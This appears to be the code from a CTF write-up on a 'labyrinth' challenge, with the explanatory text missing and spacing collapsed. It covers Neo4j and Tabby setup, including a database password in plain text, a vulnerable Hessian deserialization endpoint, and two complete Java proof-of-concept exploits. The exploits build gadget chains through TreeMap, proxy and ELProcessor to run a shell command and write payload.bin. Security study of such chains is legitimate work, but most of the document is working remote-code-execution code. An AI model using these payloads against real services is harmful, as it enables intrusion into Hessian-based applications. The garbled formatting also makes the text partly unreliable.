https://dist.neo4j.org/neo4j-community-5.26.0-unix.tar.gz
tar -xf neo4j-community-5.26.0-unix.tar.gz
mv neo4j-community-5.26.0 ~/Downloads/Tools/neo4j-v5
cd ~/Downloads/Tools/neo4j-v5
jenv local 17.0.5
./bin/neo4j --version
# `LOAD CSV` section of the manual for details.
# server.directories.import=import
# 末尾添加
dbms.security.procedures.unrestricted=apoc.*,tabby.*dbms.security.procedures.allowlist=apoc.*,tabby.*dbms.memory.heap.initial_size=1Gdbms.memory.heap.max_size=6Gdbms.memory.pagecache.size=4G
// 1. 建立唯一性约束 (防止 ID 重复,保证数据准确)CREATE CONSTRAINT c1 IF NOT EXISTS FOR (c:Class) REQUIRE c.ID IS UNIQUE;CREATE CONSTRAINT c2 IF NOT EXISTS FOR (c:Class) REQUIRE c.NAME IS UNIQUE;CREATE CONSTRAINT c3 IF NOT EXISTS FOR (m:Method) REQUIRE m.ID IS UNIQUE;CREATE CONSTRAINT c4 IF NOT EXISTS FOR (m:Method) REQUIRE m.SIGNATURE IS UNIQUE;// 2. 建立索引 (极大提升查询和分析速度)CREATE INDEX index1 IF NOT EXISTS FOR (m:Method) ON (m.NAME);CREATE INDEX index2 IF NOT EXISTS FOR (m:Method) ON (m.CLASSNAME);CREATE INDEX index3 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.CLASSNAME);CREATE INDEX index4 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.NAME0);CREATE INDEX index5 IF NOT EXISTS FOR (m:Method) ON (m.SIGNATURE);CREATE INDEX index6 IF NOT EXISTS FOR (m:Method) ON (m.NAME0);CREATE INDEX index7 IF NOT EXISTS FOR (m:Method) ON (m.NAME0, m.CLASSNAME);
# for docker
tabby.cache.isDockerImportPath=false# db settings
tabby.neo4j.username=neo4jtabby.neo4j.password=Baozongwi123!tabby.neo4j.url=bolt://127.0.0.1:7687
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//packageorg.example.labyrinth.controller;importcom.alibaba.com.caucho.hessian.io.Hessian2Input;importjava.io.InputStream;importjavax.servlet.http.HttpServletRequest;importorg.springframework.web.bind.annotation.PostMapping;importorg.springframework.web.bind.annotation.RestController;@RestControllerpublicclassChallengeController{@PostMapping({"/deserialize"})publicStringhessianDeserialize(HttpServletRequestrequest){try{InputStreamis=request.getInputStream();Hessian2Inputinput=newHessian2Input(is);input.getSerializerFactory().setAllowNonSerializable(true);input.readObject();return"success";}catch(Exceptione){e.printStackTrace();return"Error: "+e.getMessage();}}}
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//packageorg.example.labyrinth.model;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Method;importjava.lang.reflect.Proxy;publicclassCustomProxyextendsProxyimplementsComparable<Object>{privateMethodm3;publicCustomProxy(InvocationHandlerh){super(h);}publicCustomProxy(InvocationHandlerh,Methodm){super(h);this.m3=m;}publicintcompareTo(Objecto){try{if(!"compareTo".equals(this.m3.getName())){thrownewUnsupportedOperationException("The bound method m3 is not 'compareTo', but: "+this.m3.getName());}else{return(Integer)super.h.invoke(this,this.m3,newObject[]{o});}}catch(Error|RuntimeExceptione){throwe;}catch(Throwablee){thrownewRuntimeException(e);}}}
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//packagesun.tracing;importcom.sun.tracing.Provider;importjava.lang.reflect.Method;importjava.util.Set;classMultiplexProviderextendsProviderSkeleton{privateSet<Provider>providers;protectedProbeSkeletoncreateProbe(Methodvar1){returnnewMultiplexProbe(var1,this.providers);}MultiplexProvider(Class<?extendsProvider>var1,Set<Provider>var2){super(var1);this.providers=var2;}publicvoiddispose(){for(Providervar2:this.providers){var2.dispose();}super.dispose();}}
packageorg.example;importcom.alibaba.com.caucho.hessian.io.Hessian2Input;importcom.alibaba.com.caucho.hessian.io.Hessian2Output;importorg.example.labyrinth.model.CustomProxy;importsun.reflect.ReflectionFactory;importsun.tracing.ProbeSkeleton;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.File;importjava.io.FileOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Method;importjava.util.HashSet;importjava.util.LinkedHashMap;importjava.util.TreeMap;publicclassPoc233{publicstaticvoidmain(String[]args)throwsException{Stringcmd="open -a Calculator";Stringscript="\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()"+".getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('"+cmd+"')\")";javax.el.ELProcessorelProcessor=newjavax.el.ELProcessor();MethodevalMethod=elProcessor.getClass().getMethod("eval",String.class);FieldnameField=Method.class.getDeclaredField("name");nameField.setAccessible(true);nameField.set(evalMethod,"compareTo");Class<?>dtProbeClazz=Class.forName("sun.tracing.dtrace.DTraceProbe");ProbeSkeletondtProbe=(ProbeSkeleton)createInstanceWithoutConstructor(dtProbeClazz);setFieldValue(dtProbe,"proxy",elProcessor);setFieldValue(dtProbe,"declared_method",evalMethod);setFieldValue(dtProbe,"implementing_method",evalMethod);setFieldValue(dtProbe,"parameters",newClass[]{String.class});Class<?>providerClass=Class.forName("sun.tracing.MultiplexProvider");Constructor<?>providerCons=providerClass.getDeclaredConstructor(Class.class,java.util.Set.class);providerCons.setAccessible(true);InvocationHandlerinvocationHandler=(InvocationHandler)providerCons.newInstance(Comparable.class,newHashSet<>());setFieldValue(invocationHandler,"active",true);setFieldValue(invocationHandler,"providerType",File.class);LinkedHashMap<Method,ProbeSkeleton>probes=newLinkedHashMap<>();MethodmethodRef=File.class.getMethod("compareTo",File.class);probes.put(methodRef,dtProbe);setFieldValue(invocationHandler,"probes",probes);CustomProxyobjCompareTo=newCustomProxy(invocationHandler,methodRef);TreeMap<Object,Object>treeMap=triggerTreeMap(objCompareTo,script);Object[]wrapper=newObject[]{elProcessor,methodRef,treeMap};ByteArrayOutputStreambaos=newByteArrayOutputStream();Hessian2Outputoutput=newHessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);output.writeObject(wrapper);output.flush();byte[]data=baos.toByteArray();try(FileOutputStreamfos=newFileOutputStream("payload.bin")){fos.write(data);}Hessian2Inputinput=newHessian2Input(newByteArrayInputStream(data));input.getSerializerFactory().setAllowNonSerializable(true);try{input.readObject();}catch(Exceptione){e.printStackTrace();}}publicstatic<T>TcreateInstanceWithoutConstructor(Class<T>clazz)throwsException{ReflectionFactoryrf=ReflectionFactory.getReflectionFactory();Constructor<?>objDef=Object.class.getDeclaredConstructor();Constructor<?>intConstr=rf.newConstructorForSerialization(clazz,objDef);returnclazz.cast(intConstr.newInstance());}publicstaticTreeMap<Object,Object>triggerTreeMap(Objectproxy,Stringscript)throwsException{TreeMap<Object,Object>treeMap=newTreeMap<>();setFieldValue(treeMap,"size",2);Class<?>entryC=Class.forName("java.util.TreeMap$Entry");Constructor<?>cons=entryC.getDeclaredConstructor(Object.class,Object.class,entryC);cons.setAccessible(true);Objectroot=cons.newInstance(proxy,"v1",null);Objectleft=cons.newInstance(script,"v2",root);setFieldValue(root,"left",left);setFieldValue(treeMap,"root",root);returntreeMap;}publicstaticvoidsetFieldValue(Objectobj,StringfieldName,Objectvalue)throwsException{Fieldfield=null;Class<?>clazz=obj.getClass();while(clazz!=null){try{field=clazz.getDeclaredField(fieldName);break;}catch(NoSuchFieldExceptione){clazz=clazz.getSuperclass();}}if(field!=null){field.setAccessible(true);field.set(obj,value);}}}
packageorg.example;importcom.alibaba.com.caucho.hessian.io.Hessian2Input;importcom.alibaba.com.caucho.hessian.io.Hessian2Output;importorg.example.labyrinth.model.CustomProxy;importsun.reflect.ReflectionFactory;importjava.io.*;importjava.lang.reflect.*;importjava.util.TreeMap;publicclassPoc111{publicstaticvoidmain(String[]args)throwsException{Stringcmd="open -a Calculator";Stringscript="\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()"+".getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('"+cmd+"')\")";javax.el.ELProcessorelProcessor=newjavax.el.ELProcessor();MethodevalMethod=elProcessor.getClass().getMethod("eval",String.class);FieldnameField=Method.class.getDeclaredField("name");nameField.setAccessible(true);nameField.set(evalMethod,"compareTo");Class<?>handlerClazz=Class.forName("org.apache.naming.factory.DataSourceLinkFactory$DataSourceHandler");InvocationHandlerinvocationHandler=(InvocationHandler)createInstanceWithoutConstructor(handlerClazz);Fieldf=sun.misc.Unsafe.class.getDeclaredField("theUnsafe");f.setAccessible(true);sun.misc.Unsafeunsafe=(sun.misc.Unsafe)f.get(null);longdsOffset=unsafe.objectFieldOffset(handlerClazz.getDeclaredField("ds"));unsafe.putObject(invocationHandler,dsOffset,elProcessor);setFieldValue(invocationHandler,"getConnection",evalMethod);CustomProxyobjCompareTo=newCustomProxy(invocationHandler,evalMethod);TreeMap<Object,Object>treeMap=triggerTreeMap(objCompareTo,script);Object[]wrapper=newObject[]{elProcessor,treeMap};ByteArrayOutputStreambaos=newByteArrayOutputStream();Hessian2Outputoutput=newHessian2Output(baos);output.getSerializerFactory().setAllowNonSerializable(true);output.writeObject(wrapper);output.flush();byte[]data=baos.toByteArray();try(FileOutputStreamfos=newFileOutputStream("payload.bin")){fos.write(data);}Hessian2Inputinput=newHessian2Input(newByteArrayInputStream(data));input.getSerializerFactory().setAllowNonSerializable(true);try{input.readObject();}catch(Exceptione){e.printStackTrace();}}publicstatic<T>TcreateInstanceWithoutConstructor(Class<T>clazz)throwsException{ReflectionFactoryrf=ReflectionFactory.getReflectionFactory();Constructor<?>objDef=Object.class.getDeclaredConstructor();Constructor<?>intConstr=rf.newConstructorForSerialization(clazz,objDef);returnclazz.cast(intConstr.newInstance());}publicstaticTreeMap<Object,Object>triggerTreeMap(Objectproxy,Stringscript)throwsException{TreeMap<Object,Object>treeMap=newTreeMap<>();setFieldValue(treeMap,"size",2);Class<?>entryC=Class.forName("java.util.TreeMap$Entry");Constructor<?>cons=entryC.getDeclaredConstructor(Object.class,Object.class,entryC);cons.setAccessible(true);Objectroot=cons.newInstance(proxy,"v1",null);Objectleft=cons.newInstance(script,"v2",root);setFieldValue(root,"left",left);setFieldValue(treeMap,"root",root);returntreeMap;}publicstaticvoidsetFieldValue(Objectobj,StringfieldName,Objectvalue)throwsException{Fieldfield=null;Class<?>clazz=obj.getClass();while(clazz!=null){try{field=clazz.getDeclaredField(fieldName);break;}catch(NoSuchFieldExceptione){clazz=clazz.getSuperclass();}}if(field!=null){field.setAccessible(true);field.set(obj,value);}}}